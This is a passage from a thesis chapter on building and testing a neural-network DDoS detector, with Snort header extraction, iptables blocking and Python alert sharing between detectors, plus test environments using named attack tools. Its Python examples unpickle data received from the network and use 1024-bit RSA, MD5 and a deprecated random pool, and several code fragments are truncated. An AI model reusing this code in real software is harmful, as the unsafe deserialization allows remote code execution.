void DDosInit(u_char* args);  /* It´s used during the initialization process of the plugin 
which takes parameter from the config file */  
void DdosFunction();/* Standard plugin function part of all other Snort-AI entities */ 
static void DdosRestartFunction(); /* It restarts the function during the crashes based 
on exceptions */ 
void DdosCleanExitFunction();/*Cleans the memory from any unused data to avoid 
buffer overflow */ 
void DecodeICMP ()  /* ICMP Decodor and organise the packets */ 
void DecodeTCP()    /* TCP Decodor and organise the packets */ 
void DecodeUDP ()  /* UDP Decodor and organise the packets */ 
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 Then we assign and include the threshold values to each TCP, UDP and ICMP code 
(thresholds are explained in Chapter 5, Section 5.5). When packets are greater than 
predefined thresholds, the Organiser arranges the packets and files them into text 
files. The following is an example of TCP threshold representation. 
 
if (pc.tcp < 4000) 
        {LogMessage ("TCP packets smaller than the threshold 4000 packets\n"); 
}else if(pc.tcp > 4004){ 
/* get TCP packet and analyse them according to their headers */} 
 
 
 When for example ICMP packets are retrieved from the network, the Organiser 
temporarily puts the destination IP addresses into a separate file called destination 
file (e.g. dst.txt) and their source IP addresses, ICMP sequence numbers and ICMP-
ID numbers into a source file (e.g. src.txt). Such patterns stored in src.txt file are later 
prepared for the ANN engine to examine the traffic. The same approach is applied to 
both TCP and UDP implementation. The following example is an ICMP 
representation of source and destination data files. See Table 6-4 to learn about the 
variables and functions that are used to retrieve and strip packet headers (patterns) 
and Appendix 6-2 for the source code.  
 
dst.txt file       src.txt file 
10.0.0.88       1.120.121.12:9:35840 
10.0.0.88       19.12.2.13:173:4608 
10.0.2.67       8.14.14.12:172:5376 
10.0.0.88       65.12.125.152:66:45312 
10.2.0.53       16.72.82.14:179:3584 
10.0.0.88       45.142.12.162:103:6144 
10.0.0.88       83.123.124.125:183:30208  
 
The above dst.txt and src.txt files are examples of packet information that are 
prepared and organised by the Organiser. In the above example, 10.0.0.88 is the 
destination IP address with highest number of requests from different IP sources, 
sequence and ICMP-ID numbers. Destination IP addresses are separated from the 
src.txt file, as they are not used as patterns to train ANN. However, the Victim IP 
Identifier‎ module‎ uses‎ such‎ information‎ from‎ both‎ files‎ to‎ identify‎ the‎ victim’s‎ IP‎
address (see Victim IP-Identifier).  
 
One can tabulate the programming functions that are used to extract the patterns from the 
packets in Table 6-4 while the source codes are shown in Appendix 6-2.  
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Protocols Patterns agreed upon Functions to retrieve the patterns 
ICMP ICMP-ID, ICMP-SEQ, 
source IP addresses 
dst_ip= inet_ntoa(p->iph->ip_dst); src_ip= 
inet_ntoa(p->iph->ip_src); icmp_seq = ntohs(p-
>icmph->s_icmp_seq); icmp_id=p->icmph-> 
s_icmp_id; 
UDP Source/destination ports, 
packet length, source IP 
dst_ip_udp= inet_ntoa(p->iph->ip_dst); 
src_port_udp = ntohs(p->udph->uh_sport); 




TCP Source/destination ports, 
TCP flags, TCP-SEQ, 
source IP addresses 
dst_ip_tcp= inet_ntoa(p->iph->ip_dst); 
src_ip_tcp= inet_ntoa(p->iph>ip_src); tcp_seq=  
(u_long)  ntohl(p->tcph->th_seq); src_port = 
ntohs(p->tcph >th_sport); dst_port = ntohs(p-
>tcph->th_dport); p->tcph->th_flags & TH_SYN, 
tcp_flags = 'S'; if(p->tcph->th_flags & 
TH_PUSH) tcp_flags = 'P';if(p->tcph >th_flags & 
TH_RST) tcp_flags = 'R';if(p->tcph->th_flags & 
TH_ACK) tcp_flags = 'A';  if(p->tcph->th_flags & 
TH_FIN) tcp_flags = 'F'; 
 
Table  6-4: Functions used to retrieve and strip patterns from the headers. 
 
II. Victim IP-Identifier, Calculator and ANN Engine  
At this point, the captured destination IP addresses and source information that needs to be 
prepared for ANN to examine their legitimacy are ready for inspection. To provide better 
efficiency and practicality, we have created one Bash scripting program, which contains the 
required instructions that identify the victim´s IP address and call other modules (such as the 
ANN engine) when required. For simplicity, we outline the following steps while the detailed 
ICMP; UDP and ICMP source codes are shown in Appendix 6-2. 
 In the Victim IP-Identifier module, the destination IP address is identified by selecting 
the most popular IP destination with the highest number of source IP addresses 
destined to it. This is done when both src.txt and dst.txt files are merged together in 
one file where the destination IP addresses with highest number of source packets 
are selected for investigation. For example: 









In the above example, 101.0.0.2 is the highest repetitive destination IP address 
where packets from different sources are destined for it. IP address 221.0.0.2 and 
101.0.0.4 are two different destinations with the lowest numbers of packets destined 
for them. This means that 101.0.0.2 is a popular destination and all packets that are 
pointed to it will be investigated.  
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However, the Victim IP Identifier selects the first destination with the first highest 
source packets destined for it and the second destination with second highest source 
packets destined for it and the third if more than one popular destination is identified. 
The outcome of this process is picked by the Calculator element. When the ANN 
verifies the traffic to be a DDoS attack, then 101.0.0.2 is assigned to a variable and 
that variable is used by iptables (defence component) to drop forged packets. This 
process is done using Bash programming to extract the victim´s IP address. For 
example, in TCP code, one can extract victim´s IP as: 
cut -f1  /root/snort-tcp/seqDir/bothTCP.txt | sort | uniq -c | sort | awk '{print $2;}'> /root/snort-
tcp/seqDir/head-TCP.txt 
 Then the Calculator code sorts and calculates the total number of the source IP 
addresses and their related header patterns (e.g. source/destination ports, flags, 
TCP-SEQ) and prepares them for the ANN engine. This is done by adding the 
individual patterns together and dividing them by their highest number. The outcome 








 Then the ANN code engine is called, and it receives all the input values from the 
calculator and starts processing them to verify the traffic (attack or normal) based on 
what‎it‎has‎been‎taught‎during‎the‎learning‎process.‎The‎output‎of‎the‎ANN‎engine’s‎
computational process is represented as 1 or 0. However, if the ANN engine fails to 
verify the nature of the traffic, then the detection component outputs 2 (unidentified).  
To implement the ANN engine, we have chosen the framework that is used by SNNS 
[5] to create the code struct and define the weights between the nodes and layers. 
This can be explained by the following, but for the source code refer to Appendix 6-3.  
 
o Define and initialise all the input, hidden and output layers.  
o Create a struct with all the related weights mentioned in Table 6-3. For 
example, to define the weights between the ANN TCP nodes: 
static float Weights[ ] =  {17.310699, 17.721300, 16.662741, 16.760700, 17.309151, 
-3.691630, -3.618940, -3.282650, -4.065960, -3.638300, -4.589450, -4.017660, -
4.715800, -5.173370, -5.320480, -0.651250, -0.320060, -1.307460, -0.943930, -
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o Each node is defined as a unit and the weight is assigned to each unit in the 
following manner. TCP example for 2 units. 
 
{ /* unit 1 (src_ip_tcp) */ 
0.0, 0.175820, 0,&Sources[0] ,&Weights[0] ,  }, 
{ /* unit 2 (tcp_seq) */ 
0.0, 0.382370, 0,&Sources[0] ,&Weights[0] ,} 
 
o Bias as part of the ANN: 
unit->act = Act_Logistic(sum, unit->Bias); 
 
o After that TCP, UDP or ICMP function (e.g. tcp_ann_h(float *in, float *out, int 
init)) is called, with all the pre-processed units and sends the results back to 
the sender. Within the function, the layers will be created with the number of 
nodes in it. Then the computation process described in Chapter 5 is 
programmatically executed to perform all the necessary calculation and 
output the results (1- attack and 0- normal). However, if the output result is 
not 1 or 0, the code generates 2 (unidentified traffic).  For example, to create 
the ANN  with three layers, the following are defined: 
 
static pUnit Input[5] = {Units + 1, Units + 2, Units + 3, Units + 4, Units + 5}; // members  
static pUnit Hidden1[4] = {Units + 6, Units + 7, Units + 8, Units + 9}; /* members */ 
static pUnit Output1[1] = {Units + 10}; /* members */ 
 
 Finally, the‎victim’s‎IP‎destination‎(temporarily‎kept‎by‎the‎Victim‎IP‎Identifier)‎coupled‎
with the output from the detection component are filed into a text file to be picked up 
by the defence component to take action. The following is an example of the 
detection component output. 
 





The above result means that three rounds of TCP traffic (source/destination ports, 
TCP flags, tcp-seq and source IP addresses) are examined against the destination IP 
address (101.0.0.2) in which the detection component verifies all three rounds to be 
TCP DDoS attacks. This output is used by the defence component to take 
countermeasures (see section 6.3.3).  
 
One can further explain the relationship between the detection component´s elements in 
Figure 6-1. 
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Figure  6-1: Relationships between the modules/element. 
 
 Defence Component  6.3.3
As explained in Section 6.2.2 we selected a packet-filtering mechanism to block packets 
based on specific destinations and protocols. We selected iptables [6] as the packet-filtering 
application to drop packets based on instruction and outputs from the detection component. 
The defence approach is the simplest part of this project, because the application blocks and 
releases based on requests from the detection component. This can be explained in the 
following codes that are used to block ICMP forged packets. (See Appendix 6-4, for TCP, 
UDP and ICMP complete codes).  
ip1=$(sed -n 1p /root/files/fordefence.txt) 
ip2=$(sed -n 1p /root/files/blacklist.txt) 
if [ $ip1 != $ip2 ]  
then 
iptables -A FORWARD  -d $ip1 -p icmp --icmp-type echo -j DROP 
iptables -A INPUT  -d $ip1 -p icmp --icmp-type echo -j DROP 
fi  
 
In the above code lines, the defence component code uses information (destination of victim 
and type of the attack) that is provided by the detection component to block forged packets 
towards the victim. However, the code first checks if the same forged packets towards the 
victim are already blocked or not (See Appendix 6-4). If no records are found in the blacklist 
file (packets that are already identified as DDoS attacks), the defence component activates 
the iptables instructions to block the forged packets. Otherwise no action is taken since the 
victim is already protected against the attack. The detection component is in continuous 
network monitoring mode; it checks the network for further abnormalities.  
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If the same previously forged traffic that is blacklisted towards the victim is verified to be 
genuine, the detection component informs the defence component to remove the restriction. 
Otherwise forged traffic towards the victim will continue to be blocked unless otherwise 
proven to be genuine by the detection component. The above approach is known to be 
effective, but blocking of a set of traffic entirely depends on how iptables is instructed to drop 
forged packets [217]. In our case, the output of the detection component decides if a set of 
packets towards a destination is genuine or attack. If, however, the detection component, as 
explained in the Chapter 5, Sections 5.5 and 5.6, fails to detect a DDoS attack, then the 
DDoS Detector blocks the forged packets towards the victim´s IP address based on receiving 
information from other detectors via the knowledge sharing component (see Section 6.3.4).  
 
 Knowledge Sharing Component  6.3.4
Each DDoS Detector works both as a client and as a server in the communication system. 
This means that a DDoS Detector can send encrypted messages to other detectors and also 
receive encrypted messages from them. Such an approach provides collaboration and 
cooperation between the detectors especially when the output of one of the DDoS Detectors 
is of value 2 (see Chapter 5, Section 5.5). Knowledge sharing is illustrated in Figure 6-2.  
 
Figure  6-2: Knowledge sharing between three DDoS Detectors. 
 
In the diagram above, each DDoS Detector is on a separate network. The straight arrows 
represent messages from networks 1 and 3 to network 2, while the curvy lines represent 
messages from the middle network to networks 1 and 3. The above topological representation 
can be changed based on requirements. For example the network designer can also provide 
direct connection between network 3 and network 1 in addition to the network connections 
shown in Figure 6-2. In other words, a DDoS Detector can operate as a standalone device or 
it can connect to many other DDoS Detectors located on different networks. The connection 
service runs on port 5005 to establish TCP connection with other DDoS Detectors. 
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Each detector sends encrypted messages (acting as client) to all other DDoS Detectors when 
attacks are detected and receives encrypted messages (acting as a server) when other 
detectors detect DDoS attacks. The developer can select any port numbers, but it must avoid 
using the popular taken port numbers such as 22 (SSH), 80 (HTTP), etc. The implementation 
process can be done in different programming languages, but for the purpose of simplicity 
and documentation we have chosen Python [107]. During the implementation we have 
selected the standard available Python framework/libraries where sockets can be created 
dynamically [72]. The following are the implementation codes for the server and the client on 
each DDoS Detector. For the source code, refer to Appendix 6-5.  
Server Side: 
1. Initialise the libraries (Python modules). These packages are standard Python 
packages and they are used by the server side functions and methods.  
 
a. First we use MD5 as a cryptographic hashing algorithm specified in [178]. 
from Crypto.Hash import MD5 
 
b. Then we use the RSA public key cryptography algorithm to encrypt the 
message [85]. 
from Crypto.PublicKey import RSA 
 
c. The standard crypto packet utilities that come with the package are also 
used. 
from Crypto.Util import randpool 
 
d. The following are required as standard packages since they are also used by 
the server side functions and methods.  
import pickle  
import socket  
import sys 
 
2. RSA is used for the purpose of generating the public key and encrypting the message 
(see Chapter 1, Section 1.4 on RSA/encryption).  
 
RSAKey = RSA.generate(1024, randpool.RandomPool().get_bytes) 
PublicKey = RSAKey.publickey() 
 
3. Create a connection; bind the IP address and the port number. Prepare to receive 
connections from all clients. The value of the IP address changes according to DDoS 
Detector´s network location.  The following Python statements are standard for any 
connections between any client/server architecture. IP address or port number is 
changeable based on requirements.  





#IP and port numbers can be changed accordingly.  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 




4. Then a nested while loop is used to send the public key and to receive the encrypted 
messages from other DDoS Detectors, The received encrypted message is decrypted 
using the embedded private key. 
 
while True: 
  fromClient, address = s.accept()      
 fromClient.send(pickle.dumps(PublicKey)) 
  string = '' 
  while True: 
    buf = fromClient.recv(2048) 
    string += buf 
    if not len(buf): 
      break 
  fromClient.close() 
  clientMessage = pickle.loads(string) 
  print RSAKey.decrypt(clientMessage) 
s.close() 
 
The accept () method accepts connections from clients returning arguments while 
fromClient is the object of the client’s‎ address.‎ Then‎ the‎ send()‎method‎ is‎ used‎ to‎
send the public key to the client. The server side code can receive data up to 2048 
bytes from different clients (recv() method). The message will be loaded, decrypted 
with decrypt() and printed out (for more information about these methods, refer to 
http://www.python.org). When the message is received, the decrypted information is 
directed to a file (share-log), which will be used by the defence component when the 
detection component outputs 2. Also such information is used to compile a report 
containing all the relevant information for the Security Officer (see Chapter 5, Section 
5.6).  
  
- 184 - 
 
Client Side: 
The client application runs on all DDoS Detectors and is executed when information is 
needed to be exchanged. The client code consists of the following: 
1. Standard libraries that are used for encryption, creating and binding sockets are the 
same libraries that are used on the server side.  
from Crypto.Hash import MD5 
from Crypto.PublicKey import RSA 




2. Once a DDoS attack is detected, the information is temporally filed into a text file. 
Then the client code opens the file, encrypts the information and sends it in the form 





#The above file contains information about the attack or genuine traffic 
for MESSAGE in f: 
  MESSAGE=MESSAGE.rstrip() 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((host, port)) 
rcstring = s.recv(2048) 
  publickey = pickle.loads(rcstring) 
  secretText = pickle.dumps(publickey.encrypt(MESSAGE,128)) 




In the above code, the text file is where the information about attacks or genuine traffic is kept 
and opened by the open() method. The destination and type of the attack are retrieved from 
the text file. A connection is established between the client and the server, the message is 
encrypted using the public key that is received from the server during the client-server 
connection establishment using s.recv(2048). Then the encrypted message (128 bits) is sent 
to the server using s.send() method. It is worth mentioning here that the client-server 
message implementation described above is a standard communication method between any 
client and server and further information about it can be found at www.python.org.  
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Email Sent 
As explained in Chapter 5, Section 5.6, the email service is another element of the knowledge 
sharing component that is used for sending information (e.g. destination, time, traffic type, 
mitigation, etc.) for the purpose of logistics, forensics or extra countermeasures if need. The 
information is first converted to a pdf file and sent via an email to the Security Officer (refer to 
Figure 6-3 for the pdf layout).   
 
Figure  6-3: Example layout of PDF file emailed to the Security Officer. 
 
The report above (Figure 6-3) indicates the time and date of the incident (Tuesday, 15
th
 of 
July 2014), type of the attack (TCP DDoS attack) coupled with the victim´s IP address 
(10.0.0.2). Two DDoS Detectors identified same destination to be under TCP DDoS attack. 
Then it informs the reader that the DDoS attacks are mitigated (refer to Appendix 6-5 for more 
examples). In our implementation, we selected and embedded the text2pdf [207] C program 
into our code to automatically convert the information from the text file format to pdf file format 
(see Appendix 6-2). The text2pdf is a third party application that can be used for research 
purposes. We also used Linux mpack email client program that packs a file in MIME format to 
automatically compose an email and send it to a receiver using the following instruction: 
Mpack –s “DDoS attack report” report.pdf security.officer@example.com 
The above instruction is embedded in our code, where it attaches the pdf file and sends it to 
the Security Officer (see Appendix 6-2).  The email and logging of detected DDoS attacks is 
also regarded as an external element of forensic readiness [182]. The logs are configurable 
and can be kept and archived when required.  
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 Embedding TCP, UDP and ICMP Codes 6.3.5
At this stage, each TCP, UDP and ICMP detection, mitigation and knowledge sharing codes 
are prepared for testing in different technical environments. However, the solution needs to be 
functional when parts of its code are subject to, technical issues or maintenance. For 
example, if the TCP detection code requires an update, ICMP and UDP detection codes 
should be able to function without any downtime. In addition, our solution must be organised 
in terms of logging traffic for the purpose of debugging if required. One can either embed all 
three TCP, UDP and ICMP detection, mitigation and knowledge sharing codes in one 
application or separate them as instances. Programming has shown that embedding all three 
source codes into one requires more time to implement and more testing. However, if we 
separate and create instances of TCP, UDP and ICMP then we obtain the following benefits.  
 Turn off any instance when needed without affecting other instances.  
 Separate the detection mechanisms according to protocols (better control). 
 Crashed instance due to technical issues will not affect the other instances.  
 More easily debug to identify technical issues/problems. 
 Avoid a single point of failure (protocol based). 
 Separate crashes according to protocols (if applicable).  
 
Based on the above points, the approach of instances provides scalability, resilience and 
avoids points of failure. However, one can use one DDoS Detector instance that holds ICMP, 
UDP and TCP source codes and configuration files (Figure 6-4) or three separate DDoS 
Detector instances that holds TCP, UDP and ICMP source codes and configuration files 
separately (Figure 6-5) under one physical machine. 
 
Figure  6-4: Representation of one DDoS Detector holding TCP, UDP and ICMP source codes. 
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Figure  6-5: Representation of three DDoS Detector instances. 
 
Such an approach as in Figure 6-4 introduces a single point of failure (if DDoS Detector is 
down, all its source code down with it). We selected the approach shown in Figure 6.5 as it is 
scalable, controllable and avoids a single point of failure, but it requires more physical 
resources to operate. We however, veto the possibility of avoiding single point of failure over 
physical resources as this can be resolved by upgrading the hardware specifications of the 
machine (CPU and RAM).    
 
6.4 Testing  
In this section, we explain the process of testing our solution at the detection levels. We first 
begin by explaining different relevant approaches and justify the approach that is most 
relevant to our academic work. The International Standard Organisation (ISO) defines testing 
as‎―a‎technical‎operation‎that‎consists‎of‎the‎determination‎of‎one‎or‎more‎characteristics‎of‎a‎
given product, process or service according‎ to‎ specified‎ procedure‖‎ [120] [181]. The 
fundamental purpose of testing is to verify (confirms the requirements) and validate (what we 
have built is right) the specification and defects. Testing is to minimise the risk of crashing the 
application, losing data or obtaining incorrect results. In other words, software testing verifies 
whether the implemented solution meets the functional, performance, and design and 
implementation requirements. To achieve this, the system should undergo different test 
levels.  The following are some examples of test levels [120] [181]:  
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 System test 
The software testers perform system tests. The focus is on demonstrating that the 
developed system or parts of it meet the functional and non-functional specifications 
and the technical design.  
 System Integration test 
The purpose of system integration testing is to check the software, hardware and the 
network for any possible issue that violates the requirements. System integration 
testing is vital before going into production where dependencies are checked before 
release.  
 Functional acceptance test 
Functional testing is considered to be one of the most important types of testing 
performed by the tester. Its focus is to test the functionalities of the implemented 
system against the requirements. This test is known as black box testing [181] where 
the tester does not focus on the inner functionalities of the application (how classes or 
functions are linked).  Black box testing examines the functionality of the system 
without considering the internal structure. 
During the system test process, different types of properties can be examined; these are 
called quality characteristics. The common forms of quality characteristics are tested by the 
following examples of test types [181] [120] [42]: 
1. Functionality test 
This tests the degree of certainty that the system processes the information 
accurately and completely. The quality characteristic of functionality can be split into 
the characteristics of accuracy and completeness: 
a. Accuracy: The degree to which the system correctly processes the supplied 
input and mutations according to the specifications into consistent data 
collections. 
b. Completeness: The certainty that all of the input and mutations are being 
processed by the system. 
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2. Performance testing 
The primary purpose of performance testing is to check the non-functional features of 
the system and measure how well the system responds under extreme situations. 
Load and stress of benchmark testing are sub-types of performance testing. Each of 
these test types has its own definition: 
a. Load testing: This type of testing checks whether and how the test object 
performs with normal and maximum expected usage. 
b. Stress testing: Checks at which degree of usage the test objects performance 
drastically falls apart. The system is subjected to a large amount of load 
(requests or packets) to check if the application crashes or 
behaves abnormally.  
c. Benchmark testing: carries out the same performance test on various system 
configurations and measures the results. 
 
3. Usability testing  
According to [181] [120], usability testing tests the extent to which a product can be 
used by specified users to achieve specified goals with effectiveness, efficiency and 
satisfaction in a specified context of use. 
4. Automated testing 
In this type of testing, testers or developers deploy different automated tools with 
custom programming codes to execute the test in a specific time.  For example, 
Selenium [209] is considered one of the automated tools that are used for web-based 
applications testing. 
 
The above definitions and approaches are taken from [42] [181] [120]. The approaches are 
used for different testing purposes during or after the implementation. For example, 
automated testing is used when a product is in continuous delivery where the product 
requires continuous testing. Usability testing is mostly used when one requires checking the 
usability of an application directly by users. We, however, use the approach that is suitable for 
our academic objective, which is explained in Section 6.4.1.  
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 Testing Process 6.4.1
As mentioned in Section 6.4, different approaches and methodologies have been used by the 
software testers, but for the purpose of this work, we focus on the test mechanisms that are 
relevant to our requirements. Our testing process focuses on the following points: 
 Accuracy of detection.  
 Performance/Load (to test if a DDoS Detector is capable of detecting DDoS attacks 
while the DDoS Detector itself is under DDoS attack).  
 Detection and mitigation of known and unknown DDoS attacks.  
 
To fulfil the above points, we deployed functional, system integration, load and performance 
testing to verify the detection and defence component and their ability to function under high 
loads. To optimise this process, we introduced two environments with the same characteristic 
features of a real corporative environment. For simplicity, we call them environments one and 
two. In both environments genuine and abnormal packets are flowing from sources to 
destinations. However, in environment one, genuine traffic is generated using Jmeter [7]. 
Jmeter is a Java based application used for the purpose of introducing high and low volumes 
of genuine traffic and also measures performance. In environment two, genuine packets are 
generated by end users from outside the network to the virtual network. Such an approach 
provides a more effective analysis of our detection mechanism than having just one 
environment. Environment one and two are also used to evaluate our solution as described in 
Chapter 7. The following are the main comparisons between environment one and 
environment two.   
 Environment one is completely isolated from outside networks (the Internet), while 
environment two is linked to outside networks allowing genuine traffic to get in, yet all 
packets are blocked from flowing out (to avoid security threats).  
 In both environments genuine and abnormal packets are flowing around the network. 
However, in environment one, Jmeter generates genuine packets, while in 
environment two genuine packets are flowing from the physical network into the 
virtual environment.  
 In environment one, a DDoS Detector is installed on a physical machine, while in 
environment two, a DDoS Detector is installed on a virtual machine. 
 In environment one, the victim is located on a physical machine, while in environment 
two the victim is located on a virtual machine. 
 
During the testing process, we used various DDoS tools, using methodologies that are 
primarily used by attackers. The number of zombies or hosts used in the testing process 
varied from 20 to 180 zombies depending on the type of the attack. In what follows, overviews 
of environments one and two are provided. However, for detailed acceptance testing and 
evaluation refer to Chapter 7. 
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Environment One 
This environment consists of three physical machines; one of the machines is a Linux 
machine running VirtualBox (VBox) [144] with multiple virtual machines primarily used for 
launching DDoS attacks. The second machine is also a Linux machine (Debian [52]) coupled 
with our implemented DDoS Detector. The third machine has a Windows 2008 operating 
system running application services (victim). The following diagram illustrates the overall look 
and feel of environment one. 
 
The specifications of the machines are: 




 Virtual‎ routers‎ between‎ the‎ virtual‎ subnets‎ (10.0.0.0,‎ 192.168.0.0‎ &10.1.2.0‎ IP‎
ranges)‎and‎the‎destination‎machine‎(victim)‎via‎the‎DDoS‎Detector. 
 
 The middle machine (physical) consists of the following: 
 Pentium 4 Dell machine, 6G of RAM with two network interfaces, one towards the 
virtual environment traffic while the other towards the victim traffic. 
 DDoS Detector on a top of 2.6 Debian Linux. 
 
 The victim machine (physical) consists of a Dell machine with the same specifications as 
the middle machine except for the operating system (Windows 2008). 
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Environment Two 
The second environment consists of one physical machine running VirtualBox with multiple 
zombies used to launch DDoS attacks. The attacker, the zombies and the victim operate 
within the same virtual environment. Then the machine (i.e. virtual environment) is linked to a 
physical corporative environment. Genuine traffic from the physical corporative environment 
passes through the physical machine´s network interfaces into the virtual environment, but no 
packets are allowed to leave. This is to avoid packets accidently escaping from the 
environment causing security threats. As with environment one, this also consists of a Dell 
machine with 4 processors (XEON), 4GB of RAM, four removable hard disks and two network 
interfaces. In this approach, both genuine and attack traffic is mixed within the virtual network 
introducing a real life environment for the DDoS Detector to test its ability to detect and 
separate genuine from attack traffic. The virtual environment is becoming popular among 
companies due to its cost, practicality, usability and performance. This approach allows us to 
properly examine the behaviour of our proposed solution when packets are flowing in two 
different network environments (physical and virtual). Environment two is illustrated in the 
following diagram:  
 
 
 One-way traffic from outside to virtual environment. 
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 Testing Requirements 6.4.2
The fundamental purpose of our testing is to check the implemented solution against the 
following points:  
1. Unknown (zero-day) and known detection when high and low rate DDoS attacks are 
launched.  
2. Detect and separate genuine traffic that is look-a-like attack traffic (e.g. a high load of 
genuine traffic towards a particular website).  
3. Ability to detect, cope with and defend against DDoS attacks if the DDoS Detectors 
themselves are under DDoS attack (avoid crashing).  
4. Mitigate against DDoS attacks when detected and allow genuine traffic to pass 
through. 
5. Communication between the DDoS Detectors on different networks via encrypted 
connections.  Also send an email to the Security Officer for extra countermeasures if 
required.  
6. Minimise the strength of DDoS attacks before they reach their destination.  
7. Detect high and low rate DDoS attacks. 
8. Detection based on up-to-date and old datasets (comparison). 
9. Detection Rate and Accuracy in comparison with other approaches.  
10. Detection Accuracy in a real physical environment.  
 
The testing outcomes of points 1 to 7 are explained in this chapter, while points 8, 9 and 10 
are explained in Chapter 7 (Acceptance Testing and Evaluation).  This is because points 1 to 
7 deal with detection, communication and mitigation, while points 8, 9 and 10 focus on the 
comparison and evaluation of our approach against other academic and similar approaches. 
However, detailed test results for acceptance and evaluation purposes of the above 
requirements are further examined in Chapter 7. One can tabulate points 1 to 7 in the 
following table and assign the appropriate testing mechanisms (see Table 6-5).  
Requirements (features) Test approach 
Unknown (zero-day) and known detection when 
high and low rate DDoS attacks are launched. 
Functional, system and integration testing are 
used to check the functionality of integrated 
modules of the DDoS Detectors. This is to detect 
new and old DDoS attacks using different 
attacking tools and methodologies in 
environments one and two.  
Detect and separate genuine traffic that is look-a-
like attack traffic (e.g. a high load of genuine traffic 
towards a particular website). 
This is an important functionality of DDoS 
Detectors to detect both high volume of 
genuine/attack traffic and allow genuine traffic to 
pass through. Functional, load and system testing 
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 Ability to detect, cope with and defend against 
DDoS attacks if the DDoS Detectors themselves 
are under DDoS attack (avoid crashing).  
Each DDoS Detector is flooded with packets to 
check its ability to stay online, while protecting 
other destinations. This is done using load/system 
testing.  
Mitigate against DDoS attacks when detected and 
allow genuine traffic to pass through. 
Defend against all possible detected DDoS 
attacks. Integration, functional and system testing 
are used to check the defence component.  
Communication between the DDoS Detectors on 
different networks via encrypted connections.  
Also send an email to the Security Officer for extra 
countermeasures if required. 
 
This functionality introduces cooperation between 
DDoS Detectors via encrypted messages for 
better management and control. DDoS Detectors 
detect the attack; the defence mechanism stops 
the attack with respect to the protocol and the 
knowledge sharing component informs the other 
detectors about the attacks. Integration, system 
and functional testing are used. 
Minimise the strength of DDoS attacks before they 
reach their destination. 
Strength of the DDoS attack is minimised after 
mitigation (system testing). 
Detect high and low rate DDoS attacks. Functional testing to test and detect high and low 
rate DDoS attacks.  
 
Table  6-5: Requirements and test approaches. 
 
We take each requirement shown above and test it in both environments described in Section 
6.4.1. The tests include, high and low rate DDoS attacks coupled with genuine traffic. The 
results are recorded in Table 6-6, but for more detailed results refer to Chapter 7.  
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Approach 
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Table  6-6: Integration, functional, load and system tests of DDoS Detectors. 
 
We have chosen environment one and environment two, as described in Section 6.4.1, to test 
our DDoS Detectors. The number of zombies deployed in our attacks is between 20 and 180 
zombies per attack, introducing high and low rate DDoS attacks. As shown in Chapter 4, 
Table 4-6, increasing the number of zombies causes the number and rate of packets to 
increase. The attack tools that have been used to test our DDoS Detectors are a combination 
of known and unknown (zero-day) methodologies. The known approaches and tools are 
described in Chapter 4 Table 4-1 while the unknown approaches are DDoS attacks that were 
not used to train our ANN learning algorithm. This means any approaches and mechanisms 
that were not used to train our ANN are considered to be zero-day/unknown. However, the 
ANN, as described in Chapters 3 and 5, detects patterns that are similar to those it was 
trained with. Examples of unknown tools and approaches to test our DDoS Detectors are, 
D.NET DDoSer, Hot-Booster, Group DDoSer [10], Network Auto Attack [184], NTP-AMP 
DDoS attack [161], LOIC (Low Orbit Ion Canon) [159], Tor´s Hammer [61], DAVOSET [131] 
and other DDoS attack tools. Network Auto Attack was originally designed and implemented 
as a DDoS attack-testing tool by the author of this thesis. This tool, as described in Chapter 4 
Section 4.5, allows the attacker to always change the header of the packets. This makes the 
attack always appear unknown to the detection system since the attack tool uses a new 
combination of patterns for every attack.  
 Other Testing 6.4.3
In this section, we explain the other approaches and mechanisms used to test and identify our 
DDoS Detector´s reaction in: 
1. Changing the threshold values. 
2. Encrypted DDoS attack. 
3. Application DDoS attack.   
4. Changing attack patterns. 
 




- 197 - 
 
1. Changing threshold values  
In Chapter 5, Section 5.5.1 we explained the purpose of thresholds in our DDoS Detectors. 
However, we decided to adjust the value of each TCP, UDP and ICMP thresholds and then 
observe the DDoS Detector´s behaviour. This is detailed and explained in Chapter 7, Section 
7.6.  
2. Encrypted DDoS attack  
Encrypted DDoS attacks are not common, because the attack traffic is encrypted and 
somewhere along the network the traffic needs to be decrypted to be effective. Yet such an 
attack approach is possible to launch in a controlled environment. We replicated this attack 
and launched an encrypted DDoS attack in environment one. The attack was encrypted 
between the zombies and the victim using VPN connection. Then we deployed our DDoS 
Detector between the zombies and the victim to analyse the traffic. At that point, the DDoS 
Detector failed to detect the attack. That is because; our solution retrieves packet headers 
and prepares them for the ANN Engine to decide on the legitimacy of the traffic. In this case, 
the traffic was encrypted and our DDoS Detector is not designed to decrypt encrypted traffic 
to analyse the headers. However, this approach is an interesting approach for future work 
(see Chapter 8). See Figure 6-6 for combined encrypted DDoS and genuine traffic where 
inf[E] means that the traffic is encrypted .  
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3. Application DDoS attack 
In Chapter 1 Section 1.2 we explained the purpose of choosing network and transport 
protocols (TCP, UDP and ICMP). However, we tested our solution with application DDoS 
attack in environment one (e.g. Silent DDoS-er [10]). Our DDoS Detectors managed to detect 
the attack since the DDoS attack contained forged network, transport and application layer 
packets.  We concluded using different tests results that our solution is able to detect 
application DDoS as long as forged TCP, UDP or ICMP packets are embedded in the 
application attack.  
4. Changing attack patterns  
We further extended our testing approach from using known and unknown DDoS attack to on 
demand DDoS attacks. This was done by manually altering the existing patterns to make it 
look genuine or forged. Then we combined the altered packets with additional forged patterns 
that are not covered in Chapter 4 (ANN was not trained with the additional patterns). This was 






















TCP F G G G G     Detection Passed 
 G F G G G     Detection Passed 
 G G F G G     Detection Passed 
 G G G F G     Detection Passed 
 G G G G F     Detection Passed 
 F F G G G     Detection Passed 
 G F F G G     Detection Passed 
 G G F F G     Detection Passed 
 G G G F F     Detection Passed 
 F F F G G     Detection Passed 
 G F F F G     Detection Passed 
 G G F F F     Detection Passed 
 F F F F G     Detection Passed 
 G G G G F    1 A 
pattern 
Detection Passed 
 G G F G G    2 A 
patterns 
Detection Passed 
 F F F F F     Detection Passed 
UDP F G   G G    Detection Passed 
 G F   G G    Detection Passed 
 G G   F G    Detection Passed 
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 G G   G F    Detection Passed 
 F F   G G    Detection Passed 
 G F   F G    Detection Passed 
 G G   F F    Detection Passed 
 F F   F G    Detection Passed 
 F F   F F    Detection Passed 
 G G   G G    Detection Passed 
 G G   F F   1 A 
pattern 
Detection Passed 
 G G   G F   2 A 
patterns 
Detection Passed 
ICMP     G  G F  Detection Passed 
